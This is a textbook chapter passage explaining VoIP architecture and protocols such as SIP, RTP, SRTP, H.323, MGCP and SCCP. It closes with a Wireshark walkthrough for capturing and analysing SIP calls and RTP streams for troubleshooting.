VoIP systems rely on database services to store registration details of SIP devices, facilitating endpoint localization and address translation across disparate networks. These services maintain comprehensive call logs, encompassing all internet telephony activities for further analysis and management.

 

SIP services

SIP services, leveraging the SIP, form the backbone of VoIP systems. They handle call session establishment, termination, and parameter configuration. SIP services act as the foundation for modern voice, messaging, and video technologies, facilitating seamless communication between endpoints.


IP PBX

The IP PBX serves as an IP-ready Private Branch Exchange within a company, enabling internal telephony services and connecting telephone extensions to the Public Switched Telephone Network (PSTN). It provides a reliable system for telecommunication within an organization.

 

Endpoint devices

Endpoint devices encompass the variety of devices and applications that can initiate and receive VoIP phone service. These include hardware devices such as IP phones, software-based phones (softphones) running on computers or mobile devices, and analog telephone adapters that enable the use of traditional analog phones in a VoIP system.

 

IP network

The IP network forms the backbone of VoIP communication, allowing voice data packets to traverse between endpoints over an Internet Protocol infrastructure. It facilitates connectivity to upstream services via one or more IP addresses.

 

Codecs

Codec is a software or hardware-based process which play a vital role in ensuring optimal call quality by converting analog signals into digital packets with varying compression and decompression techniques. G.722 is a standard codec for High-Definition (HD) voice calls, optimizing audio clarity during VoIP communications.

 

Working of VoIP

Figure 9.1 illustrates a step-by-step breakdown process of how VoIP works:
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Figure 9.1: Working of VoIP

1. Signal  conversion:  In  VoIP,  the  analog  voice  signals

produced  during  a  phone  call  are  first  converted  into  digital

data.  This  process,  known  as  analog-to-digital  conversion,

samples  the  voice  signal  at  regular  intervals  and  assigns  a

binary  code  to  each  sample.  The  resulting  digital  data

represents  the  voice  signal  in  a  format  suitable  for

transmission over IP networks.

2. Packetization:  The  digital  voice  data  is  then  divided  into

small  data  packets.  Each  packet  contains  a  portion  of  the

voice signal, along with additional information such as source

and  destination  IP  addresses,  error  correction  data,  and

sequencing  information.  The  packetization  process  ensures

efficient  transmission  by  breaking  the  data  packets  into

smaller  chunks,  which  can  be  handled  by  the  transmission

channel. Each chunk has a sequence number associated with

it,  which  allows  the  reassembling  of  the  packets  at  the

receiver  end.  The  sequence  number  is  necessary  for  packet

loss/reassembling  as  the  packet  chunks  are  transmitted  and

received in random orders through the IP network.

3. Transmission:  The  voice  data  packets  are  transmitted  over

IP networks, which can include the Internet or private IP-based

networks.  The  packets  are  routed  through  switches,  routers,

and  other  network  devices,  following  the  most  efficient  path

to reach the destination. The packets may travel over various

network types, such as local area networks (LANs) or wide

area networks (WANs), before reaching the recipient.

4. Quality of Service (QoS): Since voice data is real-time and

sensitive to delays and packet loss, maintaining a high level of

quality  is  crucial  in  VoIP.  To  ensure  reliable  communication,

VoIP  systems  employ  QoS  mechanisms.  QoS  prioritizes  voice

packets  over  other  types  of  data,  minimizing  latency,  jitter

(variation in packet delay), and packet loss. It helps maintain

the integrity of the voice signal and ensures clear and smooth

communication.

5. Packet  handling  at  destination: Once  the  voice  packets

reach  the  destination,  they  are  reassembled  in  the  correct

order  based  on  the  sequencing  information  included  in  each

packet.  The  digital  voice  data  is  then  converted  back  into

analog  signals  through  a  process  known  as  digital-to-analog

conversion.  These  analog  signals  are  then  played  back

through  the  recipient's  phone  or  audio  device,  allowing  them

to hear the voice communication.

This process allows voice communication to occur over an internet connection, eliminating the need for traditional analog phone lines.

 

VoIP supporting protocols

VoIP comprises a comprehensive suite of technologies that leverage existing packet-based network infrastructure to enable voice services. It revolutionizes enterprise networks by transmitting telephone conversations over the same infrastructure used for data communications.

To function effectively, VoIP relies on a set of protocols that facilitate its various features. The most prevalent signaling protocol utilized in VoIP is SIP, known for its widespread adoption. Additionally, the Skinny Client Control Protocol (SCCP) is employed by Cisco IP telephones and the Call Manager call control server, while the Inter-Asterisk eXchange (IAX) protocol finds application in specific contexts. Other notable protocols utilized in VoIP include MGCP and H.323, contributing to the overall functionality of the system.

Here, let us examine the most common and supported protocols in VoIP systems:

 

Session Initiation Protocol

SIP VoIP supporting protocol is a protocol that enables voice and video communication over the Internet. It is one of the most widely used protocols for VoIP applications, such as FaceTime, Skype, or

WhatsApp. SIP request & response transactions are shown in Figure

9.2:
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Figure 9.2: SIP request and response transactions

Here are some details about SIP that might help you understand its architecture, and request and response transactions better:

SIP  architecture:  SIP  is  based  on  a  client-server  model, where  the  clients  are  called user  agents  (UAs)  and  the servers  are  called  proxy  servers,  redirect  servers,  or registrars.  UAs  are  endpoints  that  initiate  or  receive  calls, such as IP phones, softphones, or mobile apps. Proxy servers are  intermediaries  that  forward  or  modify  SIP  requests  and

responses  between  UAs.  Redirect  servers  provide  UAs  with alternative  addresses  to  contact.  Registrars  are  servers  that maintain a database of UAs and their current locations.

SIP  messages:  SIP  uses  text-based  messages  to  exchange information between UAs and servers. There are two types of SIP messages: requests and responses.

Requests are    messages that    initiate    or    modify    a communication  session,  such  as  INVITE  (to  invite  a  UA  to  a session),  ACK  (to  acknowledge  a  final  response),  BYE  (to terminate  a  session),  or  REGISTER  (to  register  a  UA  with  a registrar). 

Responses  are  messages  that  show  the  status  of  a  request. SIP  response  codes  are  three-digit  numerical  messages  that contain information about the status of the call. SIP responses have different code classes, depending on the outcome of the request. Here are common code classes and their meanings:

1xx: Provisional responses: They show that the request is being processed, but no final response is available yet. For example,  100  Trying  means  that  the  request  has  been received and is being handled.

2xx: Success responses: They show that the request was completed successfully, and the requested action was done. For  example,  200  OK  means  that  the  request  was successful, and the session was established or terminated.

3xx:  Redirection  responses:  They  show  that  the  request has  multiple  possible  destinations,  or  that  the  destination has changed. The user or user agent can choose one of the options provided in the response. For example, 302 Moved Temporarily  means  that  the  UA  has  a  new  address  for  a short time.

4xx: Client error responses: They show that the request was  invalid  or  could  not  be  fulfilled  by  the  server.  The problem  is  usually  caused  by  the  user  or  user  agent.  For example,  400  Bad  Request  means  that  the  request  was malformed or could not be understood by the server.

5xx:  Server  error  responses:  They  show  that  the  server had an error while processing the request. The problem is usually caused by the server or network. For example, 500 Internal  Server  Error  means  that  the  server  had  an unexpected error while handling the request.

6xx:  Global  failure  responses:  They  show  that  the request  cannot  be  completed  by  any  server  or  UA.  The problem  is  usually  caused  by  the  called  party  or  service. For  example,  600  Busy  Everywhere  means  that  the  called party is busy, and no other UA can answer the call.

Some of the common response codes in SIP are:

100  Trying:  Extended  search  is  being  performed  so  a forking proxy must send a 100 Trying response.

180 Ringing: Destination user agent received INVITE, and is alerting user of call.

181  Call  is  Being  Forwarded:  Servers  can  optionally send this response to indicate a call is being forwarded.

200 OK: Shows that the request was successful.

301 Moved Permanently: The original Request URI is no longer  valid,  the  new  address  is  given  in  the  Contact header.

302  Moved  Temporarily:  The  client  should  try  at  the address in the Contact field.

400  Bad  Request:  The  request  could  not  be  understood due to malformed syntax.

401    Unauthorized:   The    request    requires    user authentication.

403 Forbidden: The server understood the request, but is refusing to fulfil it.

404 Not Found: The server has definitive information that the  user  does  not  exist  at  the  domain  specified  in  the Request URI.

408 Request Timeout: Couldn’t find the user in time.

486 Busy Here: The callee is busy and cannot answer the call.

SIP  transactions:  An  SIP  transaction  is  a  sequence  of request  and  response  messages  that  have  the  same  method, call  identifier,  and  request  sequence  number.  A  transaction can  be  either  invite  or  non-invite,  depending  on  whether  it uses an INVITE request or not. An invite transaction consists of  an  INVITE  request,  one  or  more  provisional  responses (1XX),  a  final  response  (2XX,  3XX,  4XX,  5XX,  6XX),  and  an ACK  request.  A  non-invite  transaction  consists  of  a  non-INVITE request and a final response.

SIP  dialogs:  An  SIP  dialog  is  a  peer-to-peer  relationship between  two  UAs  that  lasts  for  the  duration  of  a communication  session.  SIP  dialog  is  identified  by  a  call identifier, a local tag, and a remote tag. A dialog can include multiple  transactions  and  can  be  either  early  or  confirmed, depending  on  whether  it  has  received  a  final  response  or not. A dialog can also be either basic or extended, depending on  whether  it  supports  features  such  as  call  transfer,  call hold, or conferencing.

SIP sessions: An SIP session is a multimedia communication session  between  two  or  more  UAs.  A  session  can  consist  of one  or  more  media  streams,  such  as  audio,  video,  or  text.  A session  is  described  by  the Session  Description  Protocol ( SDP),  which  specifies  the  media  types,  formats,  codecs, addresses, ports, and other parameters for each stream. SDP is carried as payload in SIP messages, such as INVITE or 200 OK.

 

Real Time Transport Protocol

Real Time Transport Protocol (RTP) VoIP supporting protocol is a protocol that delivers audio and video media over the Internet in real-time. It is used for applications such as VoIP, WebRTC, video conferencing, and media streaming. Here are some details about RTP that might help the reader understand it better:

RTP  architecture:  RTP  is  based  on  a  peer-to-peer  model, where  the  peers  are  called  RTP  endpoints  or  participants.

RTP  endpoints  can  be  senders,  receivers,  or  both.  These endpoints exchange media streams, such as voice or video, as a  sequence  of  packets.  Each  packet  has  a  header  that contains  information  such  as  the  payload  type,  the  sequence number,  the  timestamp,  and  the  synchronization  source identifier.  RTP  endpoints  also  exchange  control  information using  a  separate  protocol  called RTP  Control  Protocol ( RTCP).  RTCP  provides  feedback  on  the  quality  and synchronization of the media streams.

RTP packets: RTP packets consist of two parts: a header and

a payload, as illustrated in Figure 9.3. The header is 12 bytes long and has the following fields:

Version: 2 bits; it indicates the RTP version (currently 2).

Padding:  1  bit;  it  indicates  whether  there  are  extra padding bytes at the end of the packet.

Extension: 1 bit; it indicates whether there is an extension header after the fixed header.

CSRC  count:  4  bits;  it  indicates  the  number  of contributing source identifiers in the header.

Marker:  1  bit;  it  indicates  a  significant  event  for  the application,  such  as  the  start  of  a  talkspurt  (period  of speech) or a video frame.

Payload type: 7 bits; it indicates the format of the payload, such  as Pulse  Code  Modulation (PCM)  audio  or  H.264 video.

Sequence number: 16 bits; it increments by one for each packet  sent  and  allows  detection  of  packet  loss  and reordering.

Timestamp: 32 bits; it reflects the sampling instant of the first  byte  in  the  payload  and  allows  synchronization  of different media streams.

SSRC: 32 bits; it identifies the source of a stream within a session  and  allows  multiplexing  and  demultiplexing  of streams.

CSRC:  Variable  length;  it  identifies  the  sources  that contributed to a mixed stream.
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Figure 9.3: RTP Packet

RTP  payload:  The  payload  is  the  actual  media  data  carried by  the  RTP  packet.  The  payload  format  depends  on  the payload  type  specified  in  the  header.  There  are  many standardized  payload  formats  for  different  media  types  and codecs,  such  as  G.711,  G.729,  AMR,  Opus,  H.261,  H.263, H.264, etc. Some payload formats may also include additional headers or fields to provide more information about the media data.

 

Real-time Transport Control Protocol

Real-time Transport Control Protocol (RTCP) VoIP supporting protocol works with RTP to monitor and control the media transmission over the Internet. It is used for applications such as VoIP, WebRTC, video conferencing, and media streaming. Here are some details about RTCP that might help you understand it better:

RTCP architecture: RTCP is based on a periodic exchange of messages  between  RTP  endpoints  or  participants.  RTCP messages are sent over a separate port from RTP packets, but use  the  same  transport  protocol  (usually  UDP).  RTCP messages  have  a  low  bandwidth  overhead  compared  to  RTP packets,  and  their  transmission  rate  is  dynamically  adjusted based  on  the  number  of  participants  and  the  session bandwidth.

RTCP  messages:  RTCP  messages  consist  of  one  or  more RTCP  packets  that  have  a  common  header  format,  as  can  be

seen in Figure 9.4. The header has the following fields:

Version: 2 bits, same as RTP header.

Padding: 1 bit, same as RTP header.

RC: 5 bits, indicates the number of reception report blocks in some RTCP packets.

PT:  8  bits,  indicates  the  type  of  RTCP  packet,  such  as sender  report (SR), receiver  report (RR), source description (SDES), BYE  (end  of  participation), APP (application-defined), etc.

Length: 16 bits, indicates the length of the RTCP packet in 32-bit words minus one.

SSRC:  The  SSRC  field  is  a  32-bit  identifier  that  uniquely identifies  the  source  of  the  RTCP  packet.  This  identifier  is used  to  correlate  RTCP  packets  with  the  media  stream sources.
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Figure 9.4: RTCP packet

RTCP functions: RTCP performs several functions to support RTP communication:

Quality  monitoring:  RTCP  provides  feedback  on  the quality of the media transmission, such as packet loss rate, jitter, delay, etc. This can help to adjust parameters such as bandwidth  allocation  and  codec  selection  for  optimal performance.

Synchronization:  RTCP  provides  information  on  the timing  and  synchronization  of  different  media  streams within  a  session.  This  can  help  to  align  audio  and  video streams  or  mix  multiple  audio  streams  from  different sources.

Identification:  RTCP  provides  information  on  the  identity and status of RTP endpoints within a session. This can help to  associate  media  streams  with  their  sources  and  provide user-friendly names and descriptions for them.

Session  control:  RTCP  provides  information  on  the  start and  end  of  participation  in  a  session.  This  can  help  to manage  resources  and  notify  other  participants  about joining or leaving a session.

 

Secure Real-time Transport Protocol

Secure Real-time Transport Protocol (SRTP) VoIP supporting protocol is a protocol that adds security features to RTP, such as encryption, authentication, and replay protection. It is used for applications that require confidentiality and integrity of the media streams, such as VoIP, WebRTC, video conferencing, and media streaming. Here are some details about SRTP that might help you understand it better:

SRTP architecture:  SRTP  is  based  on  an  extension  of  RTP, where  the  RTP  header  is  followed  by  an  encrypted  payload and an authentication tag. The encryption and authentication algorithms  are  negotiated  by  a  key  exchange  mechanism, such    as    Session    Description    Protocol    Security Descriptions (SDES), Multimedia  Internet  KEYing ( MIKEY),  or Datagram  Transport  Layer  Security-SRTP ( DTLS-SRTP).  The  key  exchange  mechanism  provides  the master key and the master salt for each SRTP session.

SRTP  packets:  SRTP  packets  consist  of  three  parts:  a header, a payload, and a tag. The header is the same as RTP header, except for the marker bit which may be used for key derivation.  The  payload  is  the  encrypted  media  data  using Advanced  Encryption  Standard  (AES)  as  the  default cipher. The tag is the authentication data using Hash-based

Message  Authentication  Code  (HMAC)  as  the  default algorithm.

SRTP  functions:  SRTP  performs  several  functions  to enhance the security of RTP communication:

Encryption:  SRTP  encrypts  the  payload  using  AES  in counter  mode  or  f8  mode,  depending  on  the  application requirements. The encryption key and the counter or IV are derived  from  the  master  key,  the  master  salt  (a  random value or key used to enhance the security of the encryption process.  It  is  typically  combined  with  other  keys  and  data to create stronger encryption keys, making it more difficult for  unauthorized  parties  to  decrypt  the  data.),  and  other parameters using a pseudo-random function (PRF). The encryption  protects  the  confidentiality  of  the  media  data from eavesdropping or interception.

Authentication:  SRTP  authenticates  the  entire  packet (except  for  the  tag)  using  HMAC  with Secure  Hash Algorithm  1  (SHA-1)  as  the  default  hash  function.  The authentication  key  is  derived  from  the  master  key  and  the master salt using the PRF. The authentication protects the integrity of the packet from modification or tampering.

Replay  protection:  SRTP  detects  and  discards  replayed packets  using  a  sliding  window  mechanism.  Each  packet has a sequence number that is incremented by one for each packet sent. The receiver maintains a window of acceptable sequence numbers and rejects any packets that fall outside the  window  or  have  been  already  received.  The  replay protection protects the freshness of the packet from replay attacks.

 

H.323

H.323 VoIP supporting protocol is a protocol that defines how multimedia communication can be established and maintained over packet-based networks, such as the Internet. It is one of the oldest and most widely used protocols for VoIP, video conferencing, and other applications.

Here are some details about H.323 that will help you understand it better:

H.323  architecture:  H.323  is  based  on  a  hierarchical architecture  that  consists  of  four  logical  entities:  terminals, gateways,  gatekeepers,  and multipoint  control  units ( MCUs).  Terminals  are  endpoints  that  initiate  or  receive calls,  such  as  IP  phones,  softphones,  or  mobile  apps. Gateways  are  devices  that  interconnect  different  networks, such  as  IP  and  PSTN.  Gatekeepers  are  servers  that  provide call  control  and  management  functions,  such  as  address resolution,  admission  control,  bandwidth  management,  and billing.  MCUs  are  devices  that  enable  conferencing  among multiple endpoints.

H.323  protocols:  H.323  is  a  suite  of  protocols  that  covers different  aspects  of  multimedia  communication,  such  as  call signaling, media control, media encoding, and supplementary services. Some of the common H.323 protocols are:

H.225: Serving as a crucial component, the H.225 protocol manages  call  establishment  and  termination  among  H.323 endpoints.  It  also  facilitates  connectivity  with  H.323 gatekeepers through the Registration  Admission  Status (RAS)  protocol,  enabling  seamless  communication  within the network.

H.245: Functioning as a peer protocol to H.225, the H.245 protocol  plays  a  vital  role  in  negotiating  the  attributes  of the media session. This includes determining media format, codec  selection,  media  type,  and  establishing  the  IP address/port pair for media transmission.

H.450:  The  H.450  protocol  governs  supplementary services  within  H.323  entities,  facilitating  advanced  call management  functionalities.  It  controls  features  such  as call hold, call transfer, call park, and call pickup, enhancing the overall user experience.

H.261 or H.263: These protocols define the standards for video    codecs,    responsible    for    compressing    and decompressing  video  data.  H.261  and  H.263  ensure

efficient  and  seamless  video  transmission,  enabling  high-quality video communication in H.323-based networks.

H.323  call  flow:  An  H.323  call  involves  several  steps  to establish and terminate a multimedia session between two or more endpoints:

Discovery:   The    endpoints    discover    each    other’s capabilities  and  addresses  by  using  multicast  or  unicast messages or by querying a gatekeeper.

Registration:  The  endpoints  register  their  addresses  and availability with a gatekeeper by using the RAS protocol.

Admission:  The  endpoints  request  permission  from  a gatekeeper  to  make  or  receive  a  call  by  using  the  RAS protocol.

Call  setup:  The  endpoints  exchange  H.225  messages  to initiate a call and agree on a common set of parameters for the session.

Media  control:  The  endpoints  exchange  H.245  messages to  open  and  close  logical  channels  for  each  media  stream and to exchange media control information.

Media  transmission:  The  endpoints  exchange  RTP packets to transmit the media data over IP networks.

Call  termination:  The  endpoints  exchange  H.225 messages to end the call and release the resources.

 

Media Gateway Control Protocol

Media Gateway Control Protocol (MGCP) VoIP supporting protocol is a protocol that controls the operation of telephone gateways. It is a client-server protocol that defines how a call agent (a server that handles call logic) can instruct a gateway (a device that interconnects different networks) to create, modify, or

terminate connections between endpoints. Figure 9.5 shows the MGCP call flows.
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Figure 9.5: MGCP call flows

Here are some details about MGCP that might help you understand it better:

MGCP  architecture:  MGCP  is  based  on  a  master-slave model, where the call agent is the master and the gateway is the  slave.  The  call  agent  sends  commands  to  the  gateway using  a  text-based  syntax,  and  the  gateway  responds  with acknowledgments  or  notifications.  MGCP  uses  different concepts  to  describe  the  gateway’s  resources,  such  as endpoints  (logical  sources  or  sinks  of  media  streams), connections  (associations  between  endpoints),  and  events (changes in endpoint states).

MGCP  messages:  MGCP  messages  consist  of  requests  and responses.  Requests  are  messages  that  initiate  or  modify  a connection,  such  as create  connection  (CRCX), modify connection  (MDCX), delete  connection  (DLCX),  or request notification (RQNT). Responses are messages that indicate  the  status  of  a  request,  such  as 200 OK (successful completion), 400 Bad Request (syntax error), 500 Internal

Server  Error  (gateway  failure),  or 510  Not  Implemented (unsupported command).

MGCP  functions:  MGCP  performs  several  functions  to enable voice communication over IP networks:

Connection  control:  MGCP  allows  the  call  agent  to create, modify, or delete connections between endpoints on the gateway. The call agent specifies the parameters of the connection,  such  as  the  endpoint  identifiers,  the  media type,  the  codec,  the  packetization  interval,  and  the  IP address/port pair for media.

Event  reporting:  MGCP  allows  the  gateway  to  report events  to  the  call  agent,  such  as  off-hook,  on-hook,  DTMF digits, or fax tones. The call agent requests the gateway to notify  certain  events  using  the  RQNT  command  (Request Notification,  it  is  used  to  request  specific  events  or notifications  from  a  media  gateway  or  media  gateway controller)  and  the  gateway  sends  notifications  using  the NTFY command (Notify, it is used to send notifications and event  updates  from  a  media  gateway  or  media  gateway controller to inform the other party about specific events or changes in the telecommunication session).

Gateway  configuration:  MGCP  allows  the  call  agent  to configure  and  manage  the  gateway’s  resources,  such  as endpoints,  connections,  and  events.  The  call  agent  can query the gateway’s capabilities using the audit endpoint (AUEP)  or audit  connection (AUCX)  commands  and  the gateway  can  report  its  status  using  the restart  in progress (RSIP) command.

 

H.248 or Media Gateway Control

H.248 VoIP supporting protocol is a protocol that controls the operation of telephone gateways. It is similar to MGCP, but it supports more complex scenarios and features, such as conferencing, fax transmission, tone generation, etc. It is also known as Media Gateway Control (MEGACO), a joint effort of ITU-T and IETF. Here are some details about H.248 that might help you understand it better:

H.248 architecture: H.248 is based on a peer-to-peer model, where the call agent and the gateway are equal partners. The call agent and the gateway exchange messages using a binary or text-based syntax, and the gateway can initiate requests or notifications  to  the  call  agent.  H.248  uses  different  concepts to  describe  the  gateway’s  resources,  such  as  terminations (logical sources or sinks of media streams), contexts (groups of  terminations),  and  descriptors  (attributes  of  terminations or contexts).

H.248  messages:  H.248  messages  consist  of  transactions and  actions.  Transactions  are  messages  that  contain  one  or more  actions  and  have  a  unique  identifier.  Actions  are commands  that  perform  operations  on  the  gateway’s resources,  such  as  Add  (to  create  a  context),  Subtract  (to delete a context), Modify (to change a descriptor), Notify  (to report  an  event),  or  ServiceChange  (to  indicate  a  change  in service  state).  Transactions  can  be  either  commands (initiated  by  the  call  agent)  or  replies  (initiated  by  the gateway).

H.248 functions: H.248 performs several functions to enable voice communication over IP networks:

Connection control: H.248 allows the call agent to create, modify, or delete connections between terminations on the gateway.  The  call  agent  specifies  the  parameters  of  the connection,  such  as  the  termination  identifiers,  the  media type,  the  codec,  the  packetization  interval,  and  the  IP address/port pair for media.

Event  reporting:  H.248  allows  the  gateway  to  report events  to  the  call  agent,  such  as  off-hook,  on-hook,  DTMF digits, or fax tones. The gateway requests the call agent to notify  certain  events  using  the  Notify  action  and  the  call agent sends notifications using the NotifyReply action.

Gateway  configuration:  H.248  allows  the  call  agent  to configure  and  manage  the  gateway’s  resources,  such  as terminations, contexts, and descriptors. The call agent can query  the  gateway’s  capabilities  using  the  AuditValue

action  and  the  gateway  can  report  its  status  using  the ServiceChange action.

 

Signalling Connection Control Part

Signalling Connection Control Part (SCCP) VoIP supporting protocol provides signaling and control between Cisco Unified Communications Manager (CUCM) and Cisco IP phones. It is a Cisco proprietary protocol that is also known as Skinny. Here are some details about SCCP that will help you understand it better:

SCCP architecture: SCCP is based on a client-server model, where the clients are called Skinny clients or devices, and the servers  are  called  CUCM  or  Call  Agents.  Skinny  clients  are endpoints  that  initiate  or  receive  calls,  such  as  IP  phones, softphones,  or  voice  gateways.  CUCM  is  a  server  that provides  call  control  and  management  functions,  such  as address  resolution,  call  routing,  call  admission,  call  transfer, call hold, etc.

SCCP  messages:  SCCP  messages  are  binary  messages  that exchange  information  between  Skinny  clients  and  CUCM. There  are  two  types  of  SCCP  messages:  requests  and responses.  Requests  are  messages  that  initiate  or  modify  a communication  session,  such  as StationRegister  (to  register  a Skinny  client  with  CUCM), StationOffHook  (to  indicate  that  the handset is lifted), StationDial (to dial a number), StationCallInfo (to  display  caller  ID),  etc.  Responses  are  messages  that indicate  the  status  of  a  request,  such  as RegisterAck  (to acknowledge  a  successful  registration), CallState  (to  indicate the  current  state  of  a  call), StartMediaTransmission  (to  start sending media packets), etc.

SCCP functions: SCCP performs several functions to enable voice communication over IP networks:

Registration: SCCP allows Skinny clients to register their addresses  and  capabilities  with  CUCM  using  the StationRegister  message.  CUCM  assigns  a  device  ID  and  a keepalive  interval  to  each  Skinny  client  and  responds  with the RegisterAck message.

Call  setup:  SCCP  allows  Skinny  clients  to  initiate  or receive calls using CUCM as the call controller. The Skinny client sends an OffHook message to CUCM when the handset is  lifted,  and  CUCM  responds  with  a CallState  message  to indicate that the line is seized. It then sends a Dial message with  the  dialed  digits,  and  CUCM  responds  with  another CallState  message  to  indicate  that  the  call  is  proceeding. CUCM also sends a CallInfo message to display the caller ID on the phone screen.

When CUCM finds a match for the dialed digits, it sends an OpenReceiveChannel  message  to  instruct  the  Skinny  client  to open  a  media  channel  for  receiving  RTP  packets.  The Skinny client responds with an OpenReceiveChannelAck message with  its  IP  address  and  port  number  for  media  reception. CUCM  then  sends  a StartMediaTransmission  message  to instruct  the  Skinny  client  to  start  sending  RTP  packets  to the  destination  IP  address  and  port  number.  The  Skinny client  responds  with  a StartMediaTransmissionAck  message  to acknowledge the media transmission.

Call termination: SCCP allows Skinny clients to end calls using CUCM as the call controller. The Skinny client sends an OnHook  message  to  CUCM  when  the  handset  is  placed back  on  the  cradle,  and  CUCM  responds  with  a CallState message  to  indicate  that  the  call  is  ended.  CUCM  also sends  a StopMediaTransmission  message  to  instruct  the  Skinny client  to  stop  sending  RTP  packets.  The  Skinny  client responds with a StopMediaTransmissionAck   message    to acknowledge the media termination.

 

Session Description Protocol

Session Description Protocol (SDP) VoIP supporting protocol is a protocol that describes multimedia communication sessions for the purposes of session announcement and session invitation. It is used by other protocols, such as SIP, H.323, and MGCP, to negotiate the media parameters, such as the media types, formats, codecs, addresses, ports, and other attributes for each stream. Here are some details about SDP:

SDP architecture: SDP is based on a text-based format that consists of a series of fields and values. Each field starts with a single character followed by an equal sign (=) and a value. The  fields  are  grouped  into  three  sections:  session description,  time  description,  and  media  description.  The session  description  section  contains  information  about  the session  as  a  whole,  such  as  the  session  name,  the  session originator,  the  session  connection  information,  etc.  The  time description  section  contains  information  about  the  timing  of the session, such as the start and end times, the repeat times, etc. The media description section contains information about each media stream in the session, such as the media type, the transport protocol, the port number, the media format, etc.

SDP  messages:  SDP  messages  are  carried  as  payloads  in other    protocols    that    support    session    initiation    and modification,  such  as  SIP,  H.323,  and  MGCP.  There  are  two types  of  SDP  messages:  offers  and  answers.  Offers  are messages  that  propose  a  set  of  media  parameters  for  a session  or  a  stream.  Answers  are  messages  that  accept  or reject  the  proposed  media  parameters.  The  offer/answer model  allows  the  participants  to  agree  on  a  common  set  of media parameters that are supported by both sides.

SDP  functions:  SDP  performs  several  functions  to  enable multimedia communication over IP networks:

Session  announcement:  SDP  allows  participants  to advertise  their  multimedia  sessions  to  potential  receivers using protocols such as Session Announcement Protocol (SAP)  or Hypertext  Transfer  Protocol  (HTTP).  The session  announcement  contains  an  SDP  message  that describes  the  session  details  and  invites  receivers  to  join the session.

Session invitation: SDP allows participants to invite other participants  to  join  their  multimedia  sessions  using protocols  such  as  SIP  or  H.323.  The  session  invitation contains  an  SDP  message  that  offers  a  set  of  media parameters  for  the  session  or  a  stream.  The  invited participant can respond with an SDP message that answers

the  offer  with  a  matching  or  modified  set  of  media parameters.

Session  modification:  SDP  allows  participants  to  modify their  existing  multimedia  sessions  using  protocols  such  as SIP  or  H.323.  The  session  modification  contains  an  SDP message that offers a new set of media parameters for the session or a stream. The other participant can respond with an SDP message that answers the offer with a matching or modified set of media parameters.

Note: SIP and H.323 are currently the most widely used protocols. However, there’s a growing number of alternatives, and the future looks very promising for modern VoIP communication

 

Sniffing VoIP traffic

Sniffing VoIP traffic using Wireshark is a technique that allows you to capture and analyze the packets that are exchanged between VoIP endpoints, such as IP phones, gateways, or servers. This can help you to troubleshoot VoIP issues, monitor VoIP performance, or perform VoIP security testing.

Here are the steps to sniff VoIP traffic using Wireshark:

Step 1: Set up a network tap or a port mirroring device that can intercept the VoIP traffic that you want to sniff. For example, you can use a LAN tap device that connects to the Ethernet cables of the VoIP endpoints, or you can configure a switch to mirror the VoIP traffic to a specific port where your Wireshark machine is connected.

Step 2: Launch Wireshark on your machine and select the network interface that receives the mirrored or tapped VoIP traffic. You can also apply a capture filter to limit the traffic to specific protocols, such as SIP, RTP, H.323, MGCP, etc.

Step 3: Start capturing the packets and observe the VoIP traffic in the packet list pane. You can use the display filter "sip || rtp ||

rtcp" to filter all SIP, RTP, and RTCP packets, as shown in the Figure

9.6. You can also use the color-coding feature to distinguish different types of packets by their colors.
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Figure 9.6: Filtered VoIP traffic

 

Step 4: Analyzing the captured packets using various tools and features of Wireshark. For example, you can use the following tools and features:

Statistics:  You  can  use  the  statistics  menu  to  view  various statistics  about  the  captured  VoIP  traffic,  such  as  protocol hierarchy,  endpoint  list,  conversation  list,  service  response time, RTP stream analysis, etc.

Telephony: You can use the telephony menu to view various information  about  the  captured  VoIP  calls,  such  as  call  list, call flow graph, SIP flow graph, RTP player, etc.

Decode  as:  You  can  use  the  decode  as  feature  to  decode certain  packets  as  a  different  protocol  than  what  Wireshark detected.  For  example,  you  can  decode  UDP  packets  as  RTP packets if Wireshark failed to recognize them as RTP.

Follow  stream:  You  can  use  the  follow  stream  feature  to view the entire content of a TCP or UDP stream in a separate window.  This  can  help  you  to  see  the  SIP  messages  or  other text-based protocols in a readable format.

 

SIP call analysis

SIP call analysis using Wireshark is a process of capturing and examining the SIP messages and RTP packets involved in a VoIP session. SIP is the main protocol used to initiate and terminate VoIP sessions, while RTP is the main protocol used to carry audio and video data in VoIP sessions. Wireshark is a popular tool that can capture and filter VoIP traffic on any network interface and device, and analyzing RTP streams in VoIP traffic and play them as audio.

In the SIP protocol, endpoints are referred to as User Agents (UAs). The process of creating a session involves UA negotiation to establish the session's characteristics. SIP also defines network hosts called servers, which handle additional services such as participant location, registration, call forwarding, and more. UAs can send registrations, session invitations, and other requests to these servers.

There are two main categories of issues encountered in voice and video over IP:

Challenges  in  call  establishment,  modification,  and termination:  These  problems  encompass  situations  where you experience a lack of dial tone when picking up the phone, the  inability  to  dial  a  number  despite  hearing  the  dial  tone, the  recipient  not  receiving  the  call  after  dialing  a  number, and  similar  scenarios.  Such  issues  are  typically  caused  by complications in the signaling process.

Quality-related problems: These issues are concerned with the  overall  quality  of  the  communication,  including  voice clarity,  disruptions  like  background  noise  during  calls, freezing  of  video  streams,  and  similar  concerns.  They  are usually  attributed  to  network-related  difficulties,  problems with RTP, or various types of media-related complications.

When encountering issues of the first category, signaling problems are often the underlying cause. Within the SIP, there are two primary types of messages: methods and responses. Methods serve as commands initiated by one party involved in the session, while responses are generated as replies to these commands.

To perform SIP call analysis using Wireshark, follow the steps below:

1. Filter  Expression  of  Wireshark:  You  can  use  various  filter

expressions  to  display  only  the  packets  that  match  your

criteria,  such  as sip, rtp, rtcp, rtpevent, ip.addr, udp.srcport,

udp.dstport, dns,  etc.  You  can  also  use sip.Method  and sip.Call-ID

to  filter  SIP  messages  by  method  and  call  ID.  Here,  we  are

using  filter  expression  “sip  ||  rtp  ||  rtcp” as  shown  in  the

Figure 9.7:
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Figure 9.7: SIP, RTP, RTCP filtered packets

2. List  SIP  calls:  Now  use  the  menu  entry  “Telephony | VoIP

Calls”  to  see  the  SIP  call  list,  which  shows  one  call  with  the

information, as shown in the Figure 9.8:
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Figure 9.8: SIP call list

3. View  call  flows  and  RTP  streams:  You  can  select  one  or

more calls and click on “Flow Sequence” to see the graph of

the SIP signaling flow and the RTP stream direction, port, and

codec of the RTP Stream, as shown in the Figure 9.9:
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Figure 9.9: VoIP Call Flow Analysis

4. Filter one SIP call: You can use the call ID parameter to filter

one particular SIP call. This will show you all the SIP messages

and  RTP  packets  related  to  that  call,  as  can  be  seen  in  the

Figure 9.10, about the SIP call filtered by Call-ID:
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Figure 9.10: Filter by Call-ID

 

